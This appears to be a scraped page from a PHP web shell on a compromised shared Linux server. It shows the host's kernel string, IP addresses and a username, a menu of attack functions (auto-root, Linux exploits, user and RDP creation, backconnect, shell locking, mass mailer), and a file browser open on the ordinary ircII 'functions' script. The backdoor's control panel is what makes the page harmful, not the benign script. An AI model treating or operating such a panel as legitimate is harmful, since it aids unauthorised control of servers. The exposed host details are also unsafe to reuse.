Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
ircII /
script /
[ HOME SHELL ]
Name
Size
Permission
Action
2.8script
2.49
KB
-rw-r--r--
2.9script
954
B
-rw-r--r--
action
2.56
KB
-rw-r--r--
alias
895
B
-rw-r--r--
autoop
3.14
KB
-rw-r--r--
autoquery
2.54
KB
-rw-r--r--
basical
1.08
KB
-rw-r--r--
bigcheese
4.84
KB
-rw-r--r--
brc
2.33
KB
-rw-r--r--
channel
199
B
-rw-r--r--
columns
1.06
KB
-rw-r--r--
commander
1.29
KB
-rw-r--r--
compl.mods
12.63
KB
-rw-r--r--
complete
7.35
KB
-rw-r--r--
cursor
264
B
-rw-r--r--
dccchan
7.04
KB
-rw-r--r--
default
3.26
KB
-rw-r--r--
deutsch
381
B
-rw-r--r--
disc
225
B
-rw-r--r--
dmsg
419
B
-rw-r--r--
edit
1.02
KB
-rw-r--r--
english
480
B
-rw-r--r--
events
848
B
-rw-r--r--
extensions
498
B
-rw-r--r--
finger
1.08
KB
-rw-r--r--
fkeys
5.15
KB
-rw-r--r--
flood
171
B
-rw-r--r--
fnet
5.38
KB
-rw-r--r--
functions
5.52
KB
-rw-r--r--
global
387
B
-rw-r--r--
help
308
B
-rw-r--r--
history
1.72
KB
-rw-r--r--
history-match
1.46
KB
-rw-r--r--
icb
1.28
KB
-rw-r--r--
imap
8.33
KB
-rw-r--r--
ircIIhelp
344
B
-rw-r--r--
ircprimer
2.98
KB
-rw-r--r--
ircrc
154
B
-rw-r--r--
kickmenu
1.82
KB
-rw-r--r--
killpath
1009
B
-rw-r--r--
kpstat
1.29
KB
-rw-r--r--
list
224
B
-rw-r--r--
listidle
5.07
KB
-rw-r--r--
log
370
B
-rw-r--r--
lynx_ircrc
173
B
-rw-r--r--
meta1
179
B
-rw-r--r--
meta2
140
B
-rw-r--r--
msg
368
B
-rw-r--r--
mudlike
1.69
KB
-rw-r--r--
multichan
2.29
KB
-rw-r--r--
nemesis
501
B
-rw-r--r--
netsplit
4.2
KB
-rw-r--r--
newaway
899
B
-rw-r--r--
newformat
5.54
KB
-rw-r--r--
nicks
367
B
-rw-r--r--
nicksearch
1.72
KB
-rw-r--r--
nocolour
1.67
KB
-rw-r--r--
oldping
1.6
KB
-rw-r--r--
oper
453
B
-rw-r--r--
otherstatus
802
B
-rw-r--r--
ping
400
B
-rw-r--r--
prefix
268
B
-rw-r--r--
recursion
2.07
KB
-rw-r--r--
redirx
5.19
KB
-rw-r--r--
repeat
354
B
-rw-r--r--
screen
1.87
KB
-rw-r--r--
service
734
B
-rw-r--r--
shell
730
B
-rw-r--r--
silent
874
B
-rw-r--r--
smileys
320
B
-rw-r--r--
tabkey
3.62
KB
-rw-r--r--
time
734
B
-rw-r--r--
times
497
B
-rw-r--r--
traces
2.23
KB
-rw-r--r--
troy
7.01
KB
-rw-r--r--
uhnotify
1.74
KB
-rw-r--r--
undernet
484
B
-rw-r--r--
version
53
B
-rw-r--r--
voice
365
B
-rw-r--r--
wallopstat
1.36
KB
-rw-r--r--
whowas
1.77
KB
-rw-r--r--
window
453
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : functions
# Some misc functions.. for 2.2 and beyond. # by: Ian Frechette (frechett@spot.colorado.edu) # Wed Aug 18 00:26:53 MDT 1993 @ RCS.functions = [$$Header: /local/cvs/ircii/script/functions,v 1.3 2001/08/12 15:44:17 mrg Exp $$] # ircII scripting note. @ var = <expression> is used a lot. One case # where it is not feasible to use the @ var = othervar or @ var = funct() # format is when the $(stuff) construct is needed. In that case you # must surround it with []. e.g. @ blah = [$($0)] will assign # to 'blah' the contents of the variable named in arg 0. # # reverse a string fed to it. The first argument is the width of the # field in which to right justify the reversed text # $reverse(65 one two three) returns.. # eerht owt eno # if 0 is given as the width it's reversed and output left justified alias reverse { ^assign -rev.result @ rev.ind = 0 @ rev.str = [$1-] while (mid($rev.ind 1 $rev.str)!=[]) { @ rev.result = mid($rev.ind 1 $rev.str) ## rev.result @ rev.ind = rev.ind + 1 } # This right justifies to a field with of $0. # strip out the format() function if you don't want it formatted. @ function_return = format($0 $rev.result) } # These have been updated to handle multiple words. # format and lformat differ from $[-num]var and $[num]var in that # They don't chop off the string if it is too long. alias format { @ IRCII.word = [$1-] if (@IRCII.word < [$0]) { @ function_return = [$([-$0]IRCII.word)] } { @ function_return = IRCII.word } } alias lformat { @ IRCII.word = [$1-] if (@IRCII.word < [$0]) { @ function_return = [$([$0]IRCII.word)] } { @ function_return = IRCII.word } } # Center text within a given width. center(width text) # "$center(10 one)" returns " one" # this might not make sense at first, but it saves alot of cursor travel # not writing all the spaces on the right side. alias center { @ IRCII.word = [$1-] @ IRCII.wordl = @IRCII.word @ IRCII.width = [$0] if (IRCII.wordl > IRCII.width) { @ function_return = ircII.word } { @ function_return = [$([${(IRCII.width - ircII.wordl)/2}])] ## IRCII.word } } # This is the huge beastly CPU expensive search and replace funnction # written entirely in ircII script language. # $sandr(search pat/replace pat/words) # the search and replace patterns can contain spaces or any other chars # with the exeption of '/'. alias sandr { @ sr.src = left($index(/ $*) $*) @ sr.rep = mid(${index(/ $*) +1} ${rindex(/ $*) - index(/ $*) +1} $*) @ sr.word = mid(${rindex(/ $*) + 1} 512 $*) @ sr.srcl = @sr.src @ sr.wordl = @sr.word @ sr.cnt1 = 0 @ sr.cnt2 = 0 @ sr.lmark = 0 @ sr.gotit = 0 ^assign -sr.fstring while (sr.cnt1 < sr.wordl) { @ sr.scnt1 = sr.cnt1 while ((mid($sr.cnt1 1 $sr.word) == mid($sr.cnt2 1 $sr.src)) && (sr.cnt2 < sr.srcl)) { if (sr.cnt2 == sr.srcl - 1) { @ sr.gotit = 1 } @ sr.cnt1 = sr.cnt1 + 1 @ sr.cnt2 = sr.cnt2 + 1 } @ sr.cnt2 = 0 if (sr.gotit) { @ sr.fstring = sr.fstring ## mid($sr.lmark ${sr.scnt1 - sr.lmark} $sr.word) ## sr.rep @ sr.gotit = 0 @ sr.lmark = sr.cnt1 } { @ sr.cnt1 = sr.cnt1 +1 } } @ sr.fstring = sr.fstring ## mid($sr.lmark 512 $sr.word) @ function_return = sr.fstring } # The perfect complement to the $word() function. # $notword(index words) returns words minus the indexed word. # the special handling of nw.sep is to deal with the cases when # the index points to the first or last word. alias notword { if ([$0] > 0) { if (([$0] > 1) && ([$0] < rmatch($~ $1-))) { @ nw.sep = [ ] } { @ nw.sep = [] } @ function_return = [$(1-${[$0]-1})] ## nw.sep ## [$(${[$0]+1}-)] } { @ function_return = [$1-] } ^assign -nw.sep } # If you want to look an array.. Type /show <arrayname> # Lists keys and contents ^alias show { if ( [$($0)] ) { echo $0 $($0) } foreach $0 ii { show $0.$ii } ^assign -ii } # push an item onto the head of a list # this only takes the name of the list instead of the variable itself. # examples. # /push list Item # or if (push(list Item)) { echo push sucessful } { echo push failed } # echo $list returns 'Item' alias push { if (![$1]) { @function_return = 0 } { eval @ $0 = [$1- $($0)];@function_return = 1} } # pop an item off a list. Specified with $pop(listname) # note there is no $ in front of listname. # examples. # /eval echo $pop(list) returns 'Item' and the list is shortened # push List2 $pop(List1) moves first item from List1 to List2 alias pop { @function_return = word(0 $($0)) eval @ $0 = notword(1 $($0)) } # pluck a word from a list. # eg. $blah == "one two three four five" # $pluck(blah three) returns "one two four five" alias pluck { @ function_return = notword($match($1 $($0)) $($0)) } alias remove { @ rem.tmp = [$($0)] while (rmatch($1 ${rem.tmp = pluck(rem.tmp $1)})) {#} @ function_return = rem.tmp } # This alias sorts flat lists case insenstive # IT can be easily changed to sort case sensitive by removing the # $toupper() call. # operation.. $sort(list or words here) will return a string with # the list of words sorted in ascending order. # to sort in reverse order alias sort { @ sort.tmp = [$*] while (sort.word = pop(sort.tmp)) { eval @ sort.str.$encode($toupper($sort.word)) = sort.word } @ sort.sep = [] foreach sort.str ii { # sort ascending @ sort.tmp = sort.tmp ## sort.sep ## sort.str[$ii] # sort decending # push sort.tmp sort.str[$ii] ^assign -sort.str[$ii] @ sort.sep = [ ] } @ function_return = sort.tmp ^assign -sort.sep ^assign -sort.tmp }
Close